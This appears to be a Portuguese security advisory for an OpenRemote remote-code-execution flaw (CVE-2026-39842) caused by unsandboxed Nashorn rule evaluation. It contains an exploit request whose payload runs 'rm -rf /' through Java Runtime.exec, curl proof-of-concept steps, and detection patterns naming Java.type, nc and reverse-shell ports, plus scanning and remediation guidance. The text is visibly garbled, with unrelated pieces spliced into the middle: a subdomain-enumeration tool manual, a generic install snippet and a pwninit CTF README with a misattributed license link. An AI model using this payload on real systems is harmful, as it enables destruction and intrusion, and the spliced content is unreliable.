Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

---

## Análise Aprofundada da Vulnerabilidade

### Análise da Causa Raiz

A vulnerabilidade decorre de duas falhas críticas no Motor de Regras do OpenRemote:

**Falha 1: Motor JavaScript Nashorn sem Sandbox**

O motor JavaScript Nashorn do Java é usado para avaliar expressões de regras fornecidas pelo usuário sem qualquer sandbox, security manager ou restrições de ClassFilter. Isso permite que atacantes acessem classes Java diretamente do contexto JavaScript.

**Falha 2: Sandbox Groovy Desativado**

O motor de script Groovy tinha um GroovyDenyAllFilter registrado para impedir a execução de código, mas esse registro de filtro foi comentado no código. Apenas a aplicação da política Groovy existia no nível da API (RulesResourceImpl.java:262), mas o JavaScript não tinha restrições.

### Caminhos de Código Vulneráveis```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

Isto significa:
- Utilizadores não-superusuários PODEM criar regras JavaScript (sem bloqueio)
- Utilizadores não-superusuários NÃO PODEM criar regras Groovy (bloqueado)
- JavaScript não tem sandboxing, pelo que a exploração é possível para qualquer utilizador autenticado com write:rules

Além disso, o isolamento multi-tenant pode ser contornado via reflexão no assetStorageService para aceder a dados de outros realms.

### Fluxo de Ataque```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

**Passo 3: Enviar para o Endpoint Vulnerável**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

#### Acesso ao Sistema de Arquivos

Acesso completo de leitura e gravação a todos os arquivos do sistema:

- Divulgação do código-fonte da aplicação
- Arquivos de configuração sensíveis (senhas de banco de dados, chaves de API)
- Arquivos do sistema e credenciais
- Arquivos de contêiner Docker (se containerizado)

#### Roubo de Variáveis de Ambiente

Acesso a variáveis de ambiente que contêm:
- Strings de conexão de banco de dados
- Chaves e tokens de API
- Segredos OAuth
- Chaves de criptografia privadas
- Credenciais AWS/Cloud

#### Violação de Dados

Em implantações multi-tenant, os atacantes podem contornar o isolamento de tenants via reflexão:

- Acessar dados de todos os tenants simultaneamente
- Ler dados confidenciais de sensores IoT
- Modificar regras de automação entre organizações
- Extrair inteligência de negócios e informações proprietárias

#### Integridade do Sistema

- Instalação de backdoor permanente
- Implantação de malware
- Execução de ransomware
- Comprometimento da cadeia de suprimentos (se usado em desenvolvimento)

#### Interrupção de Serviço

- Negação de serviço via esgotamento de recursos
- Exclusão ou corrupção de banco de dados
- Adulteração de configuração
- Desligamento ou reinicialização do sistema

---

## Versões Afetadas

| Versão | Status | Observações |
|---------|--------|-------|
| <= 1.15.0 | Vulnerável | Vulnerabilidade original presente |
| 1.16.0 | Vulnerável | Nenhuma correção aplicada |
| 1.17.0 | Vulnerável | Nenhuma correção aplicada |
| 1.18.0 | Vulnerável | Nenhuma correção aplicada |
| 1.19.0 | Vulnerável | Nenhuma correção aplicada |
| 1.20.0 | Vulnerável | Nenhuma correção aplicada |
| 1.21.0 | Vulnerável | Última versão afetada |
| 1.22.0+ | CORRIGIDA | Mecanismo de regras JavaScript completamente removido |

### Detalhes da Versão

- **Faixa Vulnerável**: 1.0.0 até 1.21.0 (todas as versões com mecanismo de regras JS)
- **Versão Corrigida**: 1.22.0 (mecanismo de regras JavaScript completamente removido)
- **Backports**: Nenhum backport de segurança disponível para versões mais antigas; atualização necessária

---

## Detecção

### Como Funciona

Os mecanismos de detecção identificam instâncias do OpenRemote e verificam o status da vulnerabilidade por meio de vários métodos:

1. **Detecção de Banner HTTP**: Consulta o endpoint raiz da API para identificar o OpenRemote e extrair informações de versão
2. **Fingerprinting de Endpoint**: Testa endpoints vulneráveis quanto à presença e comportamento
3. **Correlação de Versão**: Compara a versão detectada com faixas de vulnerabilidade conhecidas
4. **Análise de Resposta**: Examina mensagens de erro e estruturas de resposta para assinaturas do OpenRemote

### Scanner Python

O scanner `detect_openremote.py` realiza detecção automatizada e avaliação de vulnerabilidade.

#### Instalação```bash
python3 -m pip install requests

#### Opções

| Opção | Curto | Longo | Tipo | Descrição |
|--------|-------|------|------|-------------|
| Alvo | -t | --target | string | URL de um único alvo (ex.: http://10.0.0.1:8080) |
| Lista | -l | --list | arquivo | Arquivo contendo uma lista de alvos (um por linha) |
| Saída | -o | --output | arquivo | Gravar resultados em arquivo CSV |
| Verboso | -v | --verbose | sinalizador | Ativar saída detalhada com respostas completas |
| Tempo limite | | --timeout | int | Tempo limite de solicitação HTTP em segundos (padrão: 10) |
| Banner | | --no-banner | sinalizador | Pular impressão do banner |

#### Exemplo: Alvo Único```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

go install -v github.com/projectdiscovery/pd/cmd/pd@latest

pd -h

Uso:
  pd [flags]

Flags:
  INPUT:
   -l, -list string  lista de subdomínios para enumerar (arquivo ou stdin)
   -d, -domain string  domínio para enumerar subdomínios
   -p, -provider string  provedores de DNS a usar (padrão: "all")
   -r, -resolver string  resolvedores de DNS a usar (padrão: "8.8.8.8")
   -t, -threads int  número de threads a usar (padrão: 10)
   -o, -output string  arquivo para gravar saída
   -v, -verbose  exibir saída detalhada
   -silent  exibir apenas resultados
   -version  exibir versão

# Enumerar subdomínios para um domínio
pd -d example.com

# Enumerar subdomínios para uma lista de domínios
pd -l domains.txt

# Enumerar subdomínios usando provedores de DNS específicos
pd -d example.com -p google,cloudflare

# Enumerar subdomínios usando resolvedores de DNS específicos
pd -d example.com -r 1.1.1.1,8.8.8.8

# Enumerar subdomínios e gravar saída em um arquivo
pd -d example.com -o output.txt

# Enumerar subdomínios silenciosamente
pd -d example.com -silent

$ pd -d example.com
www.example.com
mail.example.com
blog.example.com

# Enumerar subdomínios com 50 threads
pd -d example.com -t 50

# Enumerar subdomínios com saída detalhada
pd -d example.com -v

# Enumerar subdomínios silenciosamente
pd -d example.com -silent

# Exibir versão
pd -version

#### Exemplo: Múltiplos Alvos com Saída```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

Expected output in `results.csv`:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

Saída detalhada esperada:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES

#### Utilização```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>

Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.21.0
|   Vulnerable: YES
|   CVE: CVE-2026-39842
|_  CVSS: 10.0 Critical

Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.22.1
|   Vulnerable: NO
|   Fixed Version: 1.22.0
|_  Status: Patched
```
#### Exemplo: Varredura Verbosa```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
```
```
$ ./pwninit --bin ./pwnme --libc ./libc.so.6 --ld ./ld-2.27.so
[+] Fetching symbols from libc...
[+] Resolving libc base address...
[+] Generating exploit template...
[+] Done! Check ./exploit.py
```

### Options

| Flag | Description |
|------|-------------|
| `--bin` | Path to the vulnerable binary |
| `--libc` | Path to the libc shared object |
| `--ld` | Path to the dynamic linker/loader |
| `--no-template` | Skip generating the exploit template |
| `--no-symbols` | Skip symbol resolution |
| `--debug` | Enable verbose debug output |

### Example Workflow

1. Identify the vulnerable binary and its libc version
2. Run `pwninit` with the appropriate flags
3. Review the generated `exploit.py` template
4. Customize the exploit logic as needed
5. Test and refine the exploit against the target

### Integration with Other Tools

`pwninit` works seamlessly with:

- **pwntools** – for exploit development and debugging
- **ROPgadget** – for ROP chain generation
- **one_gadget** – for one-shot gadget discovery
- **checksec** – for binary security property analysis

### Troubleshooting

**Issue:** `libc` not found
**Solution:** Ensure the libc path is correct and the file is readable

**Issue:** Symbol resolution fails
**Solution:** Try using `--no-symbols` and manually resolve addresses

**Issue:** Template generation errors
**Solution:** Verify the binary is not stripped or use `--no-template`

### License

MIT License – see the [LICENSE](https://github.com/keraattin/cve-2026-39842/blob/main/LICENSE) file for details

### Author

Maintained by [pwninit team](https://github.com/io12/pwninit)

---

## Conclusion

`pwninit` is an essential tool for CTF players and binary exploitation researchers. It automates the tedious setup process, allowing you to focus on the actual exploitation. With its clean output and flexible options, it integrates smoothly into any pwn workflow.

**Happy hacking!**

### Verificação Manual

Execute verificações manuais usando curl para confirmar a vulnerabilidade:

**1. Identificar a Versão do OpenRemote**```bash
curl -s http://target:8080/api/info | jq .

## Instalação

### Requisitos

- Python 3.8 ou superior
- pip (gerenciador de pacotes do Python)

### Passos

1. Clone o repositório:
   ```bash
   git clone https://github.com/example/tool.git
   cd tool

python main.py -t https://example.com

python main.py -f alvos.txt

[+] Alvo: https://example.com
[+] Porta 80 aberta
[+] Porta 443 aberta
[+] Servidor: nginx/1.18.0

{
  "version": "1.21.0",
  "name": "OpenRemote",
  "instanceId": "instance-123"
}
```
**2. Verificar o Endpoint de Regras**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20
```
Se retornar 401 ou 403, o endpoint existe, mas requer autenticação.

**3. Autenticar e Testar Injeção de Expressão**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "test_rule",
    "trigger": "timer",
    "ruleExpression": "1 + 1"
  }' \
  http://target:8080/api/master/rules/realm
```
Se a criação for bem-sucedida e a versão for <= 1.21.0, a instância é vulnerável.

**4. Testar a Execução de JavaScript (Prova de Conceito)**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm
```
**5. Identificar o Nome do Realm**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/admin/realms | jq .[].name
```
Common realm names: `master`, `default`, `main`

---

## Indicadores de Comprometimento

### Indicadores de Log

Pesquise nos logs de aplicação por estes padrões:

**Criação de Regra com Payload JavaScript**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
```
**Tentativas de Execução de Comandos nas Regras**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
```
**Execução Inesperada de Processos a partir do Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
```
**Anomalias de Acesso ao Sistema de Ficheiros**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
```
**Padrões de Acesso a Banco de Dados**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
```
### Indicadores de Rede

**Conexões de Saída do Processo OpenRemote**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
```
**Chamadas de Retorno de Reverse Shell**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
```
**Tentativas de Movimento Lateral**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
```
### Indicadores do Sistema de Ficheiros

**Ficheiros Suspeitos no Diretório OpenRemote**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
```
**Binários OpenRemote Modificados**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
```
**Tarefas Cron ou de Persistência**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
```
### Indicadores de Memória e Processos

**Variáveis de Ambiente Suspeitas**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
```
**Cargas Úteis Residentes em Memória**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
```
---

## Remediação

### AÇÕES IMEDIATAS (0-24 horas)

**1. Atualize para a Versão Corrigida**

A correção completa está disponível apenas no OpenRemote 1.22.0+, que remove completamente o mecanismo de regras JavaScript.```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote

# Verify version
curl -s http://localhost:8080/api/info | jq .version
```
**2. Restringir o Acesso à API**

Se a atualização imediata não for possível, restrinja o acesso aos endpoints vulneráveis no nível do firewall/proxy reverso:```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}
```
**3. Auditar Regras Ativas**

Liste todas as regras existentes e revise-as em busca de JavaScript suspeito:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm | \
  jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
Delete any rules containing Java interop:```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. Rever os Registos de Acesso**

Verifique tentativas de exploração nos últimos 30 dias:```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
  grep -i "java\|runtime\|exec\|type"
```
**5. Rotação de Credenciais**

Rode todas as credenciais potencialmente expostas:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### AÇÕES DE CURTO PRAZO (1-7 dias)

**1. Segmentação de Rede**

Restrinja o acesso à API do OpenRemote apenas a redes autorizadas:```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. Auditorias de Funções**

Revise e minimize os utilizadores com a função `write:rules`:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'
```
Remove a função `write:rules` de todos os utilizadores não essenciais.

**3. Ativar o registo de pedidos**

Configure um registo detalhado para todos os pedidos de API:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. Auditoria de Banco de Dados**

Pesquise no banco de dados por regras maliciosas criadas após uma data específica:```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);
```
**5. Caça a Ameaças**

Execute varreduras de segurança completas no servidor OpenRemote:```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/

# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings

# File integrity verification
aide --check
```
### AÇÕES DE LONGO PRAZO (7-30 dias)

**1. Hardening Completo do Sistema**

- Execute o OpenRemote em um contêiner com privilégios restritos (não-root)
- Implemente políticas SELinux ou AppArmor
- Use sistemas de arquivos somente leitura quando possível
- Ative o registro de auditoria em nível de sistema

**2. Implementação de Controle de Acesso**

- Implemente autenticação multifator para usuários administradores
- Use OAuth2/OIDC para acesso à API em vez de autenticação por token
- Implemente o princípio do menor privilégio para todos os papéis
- Revisões regulares de acesso e certificação

**3. Segurança de Aplicação**

- Implemente regras de Web Application Firewall (WAF) para o mecanismo de regras
- Ative a limitação de taxa de requisições em endpoints sensíveis
- Implemente limites de tamanho de requisição
- Valide estritamente toda entrada do usuário

**4. Monitoramento e Alertas**

Implante regras de detecção SIEM:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. Plano de Resposta a Incidentes**

Crie e teste procedimentos de resposta a incidentes:

- Etapas de isolamento para instâncias OpenRemote comprometidas
- Procedimentos de coleta de evidências forenses
- Procedimentos de notificação para clientes afetados
- Procedimentos de recuperação e limpeza
- Revisões pós-incidente

**6. Monitoramento Contínuo**

Implemente monitoramento contínuo de segurança:```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
  $(cat /etc/openremote/monitored_hosts.txt) \
  --script-args 'onerror=continue' \
  -oX /var/log/openremote-scan.xml

# Automated alerts for vulnerable versions
if version <= 1.21.0; then
    send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
---

## Referências

- **Aviso Oficial**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **Registro CVE**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **Entrada NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **Repositório OpenRemote**: https://github.com/openremote/openremote
- **Segurança OpenRemote**: https://openremote.io/security
- **CWE-94 Injeção de Código**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 Injeção EL**: https://cwe.mitre.org/data/definitions/917.html
- **Calculadora CVSS**: https://www.first.org/cvss/calculator/3.1
- **Segurança Nashorn**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## Autor

**Kerem Oruc**

Pesquisador de Segurança, Divulgação de Vulnerabilidades

Para perguntas, relatórios ou informações adicionais sobre esta vulnerabilidade, entre em contato com o autor pelos canais de divulgação responsável.

---

**Última Atualização**: 2026-04-16
**Versão**: 1.0
**Status**: Público